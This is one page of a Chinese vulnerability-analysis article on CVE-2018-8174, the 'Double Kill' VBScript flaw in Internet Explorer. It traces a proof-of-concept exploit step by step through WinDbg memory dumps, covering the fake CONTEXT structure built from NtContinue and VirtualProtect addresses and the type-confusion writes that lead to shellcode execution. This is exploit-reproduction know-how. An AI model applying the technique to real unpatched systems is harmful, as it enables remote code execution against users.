CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
先看 ExpandWithVirtualProtect(lIlll) 函数
//ntContinuePtr=structForVirtualProtect+&h23  加的23刚好是 NtContinue 地址,这个值终于正常了
0:005> dd 01dd1000+23 l8
01dd1023  776a5568 776a5568 776a5568 776a5568
01dd1033  41414100 41414141 41414141 41414141
//result=result &String((&hb8-LenB(result))/2,Unescape("%4141"))
0:005> dd poi(esp+c) lc
0055e460  0000004a 00000000 02129da8 00000000
0055e470  02b70003 6e5d1684 01dd1023 40000000
0055e480  024d0008 024dc9f0 00307044 40000000
0:005> dd 02129da8  lc
02129da8  00000008 00000000 003a502c 00000000
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698
0:005> dd 003a502c
003a502c  01dd1023 00410041 00410041 00410041  //0041填充
003a503c  00410041 00410041 00410041 00410041
003a504c  00410041 00410041 00410041 00410041
003a505c  00410041 00410041 00410041 00410041
003a506c  00410041 00410041 00410041 00410041
003a507c  00410041 00410041 00410041 00410041
003a508c  00410041 00410041 00410041 00410041
003a509c  00410041 00410041 00410041 00410041
//result=result &EscapeAddress(VirtualProtectAddr)
0:005> dd poi(esp+c)
0055e460  024d004a 6e5d196a 02129da8 024dcdf4
0055e470  02b70003 6e5d1684 01dd1023 40000000
0055e480  02110008 00000004 003a502c 6e5d0001
0055e490  00000000 02108298 0037a1bc 0055f5cc
0055e4a0  024dd0b0 0055e4d0 00010fdc 40000000
0055e4b0  02b7400c 6e5d1684 00552650 40000000
0055e4c0  024d0000 0055e5d0 00000000 00000000
0055e4d0  024dd2f4 0055e5d0 02129da8 02107c7c
0:005> dd 02129da8 lc
02129da8  024d0008 6e5d196a 00307044 024dcdf4
02129db8  00000000 00000000 655fbbf0 0c04fced
02129dc8  00000000 00550050 00000000 0055f698
0:005> dd 00307044 l8
00307044  01dd1023 00410041 00410041 00410041
00307054  00410041 00410041 00410041 00410041
0:005> dd 00307044 +90 lc
003070d4  00410041 00410041 00410041 00410041
003070e4  00410041 00410041 00410041 00410041
003070f4  00410041 00410041 758e22bd d5ff0000 //加入 VirtualProtect 地址(758e22bd)
//下面几步分别在字符串后面拼接了 0xb1、0x00、构造好的构造VirtualProtect环境、0x23
//result=result &EscapeAddress(&h1b)
//result=result &EscapeAddress(0)
//result=result &EscapeAddress(structForVirtualProtect)
//result=result &EscapeAddress(&h23)
//我们直接看拼接后的结果;其实这是一个CONTEXT的结构体:
0:005> dd 0036e84c l100
0036e84c  01dd1023 00410041 00410041 00410041 //01dd1023 中保存的是连续4个 NtContinue 函数地址
0036e85c  00410041 00410041 00410041 00410041
0036e86c  00410041 00410041 00410041 00410041 //中间0x0041填充
0036e87c  00410041 00410041 00410041 00410041
0036e88c  00410041 00410041 00410041 00410041
0036e89c  00410041 00410041 00410041 00410041
0036e8ac  00410041 00410041 00410041 00410041
0036e8bc  00410041 00410041 00410041 00410041
0036e8cc  00410041 00410041 00410041 00410041
0036e8dc  00410041 00410041 00410041 00410041
0036e8ec  00410041 00410041 00410041 00410041
0036e8fc  00410041 00410041 758e22bd 0000001b //后面是 VirtualProtect 地址 758e22bd
0036e90c  00000000 01dd1000 00000023 43434343 //01dd1000  构造好的构造VirtualProtect环境
0036e91c  43434343 43434343 43434343 43434343
0036e92c  43434343 43434343 43434343 43434343
0036e93c  43434343 43434343 43434343 43434343
SetMemValue ExpandWithVirtualProtect(lIlll)  然后进入 SetMemValue 把这片空间放到 spec_int_1+8  的位置:
0:005> dd 0037a1bc lc
0037a1bc  02120002 02129db8 02110008 00000004
0037a1cc  0391442c 6e5d0001 0037a1e4 7cd33254  //0391442c 内是上面构造好的内存0037a1dc  88006c6c 00000000 003b2f48 77737560
0:005> dd 0391442c
0391442c  01dd1023 00410041 00410041 00410041
0391443c  00410041 00410041 00410041 00410041
..
..
039144dc  00410041 00410041 758e22bd 0000001b
039144ec  00000000 01dd1000 00000023 43434343
039144fc  43434343 43434343 43434343 43434343
llIIll=GetMemValue() 进入 GetMemValue 更换类型为 Long:
0:005> dd 0037a1bc lc
0037a1bc  02120002 02129db8 00360003 6e5d1684  //更改类型为Long0037a1cc  0391442c 6e5d0001 0037a1e4 7cd33254
0037a1dc  88006c6c 00000000 00000000 00000000
PoC中:最终的 ExecuteShellcode 函数
cla4_obj1.mem(spec_int_1)=&h4d  
cla4_obj1.mem(spec_int_1+8)=0
//PoC的运行就在于0x4d、0这两个值:
0:005> dd 0037a1bc lc
0037a1bc  00000002 02108298 0037004d 0055f5cc //先把 0x0037004d 修改为了 4d
0037a1cc  0391442c 6e5d0001 0037a1e4 7cd33254 //再把0391442c-->0,在这里看不到,因为修改后直接调用 vbscript!VAR::Clear 函数了

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页